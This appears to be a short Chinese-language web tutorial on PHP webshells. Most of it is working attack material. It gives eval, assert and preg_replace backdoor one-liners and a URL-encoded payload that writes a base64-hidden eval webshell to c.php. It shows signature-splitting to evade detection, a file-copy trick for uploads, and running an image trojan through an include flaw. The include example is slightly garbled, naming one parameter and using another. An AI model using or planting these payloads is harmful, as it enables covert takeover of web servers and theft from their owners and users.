标准的写法,直接通过eval执行PHP代码,如下:
@eval ($_POST['code']);
动态执行assert生成一个木马文件(隐藏性最好的一种)如下:
@$_GET['a']($_GET['code']);
使用方法:从url中传入下面参数执行后会在当前目录生成一个c.PHP的文件.如下:
/index.php?a=assert&code=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29};
a参数为eval时会报错(因为eval不是函数)木马生成失败,为assert时同样报错,但会生成木马 使用preg_replace执行代码(里面前面只要用一个的任意字符串就可以,如果不一样的话命令可能会被执行多次)如下:
@preg_replace("/re/e", $_POST['code'], "re");
把特征码打散.如下:
session_start(); $_POST['code'] && $_SESSION['theCode'] = trim($_POST['code']); $_SESSION['theCode']&&preg_replace('/'a/'eis','e'.'v'.'a'.'l'.'(base64_decode($_SESSION[/'theCode/']))','a');
重命名任意文件
$reg="c"."o"."p"."y"; $reg($_FILES['filename']['tmp_name'],$_FILES'filename');
include的漏洞使用方法 有时候我们会上传一些图片木马但是却不能执行,这个时候如果有一个include的漏洞,那么图片木马就可以执行啦如下 如果PHP代码里有一个include($_GET['controller']) 且还有一个url路径为 /index.PHP?controller=user 这个看起来就是一个根据参数包含执行对应控制器的代码, 但是如果url路径里的参数改成这样 /index.PHP?uid=/upload/images/muma.jpg 这个时候木马就执行啦</div>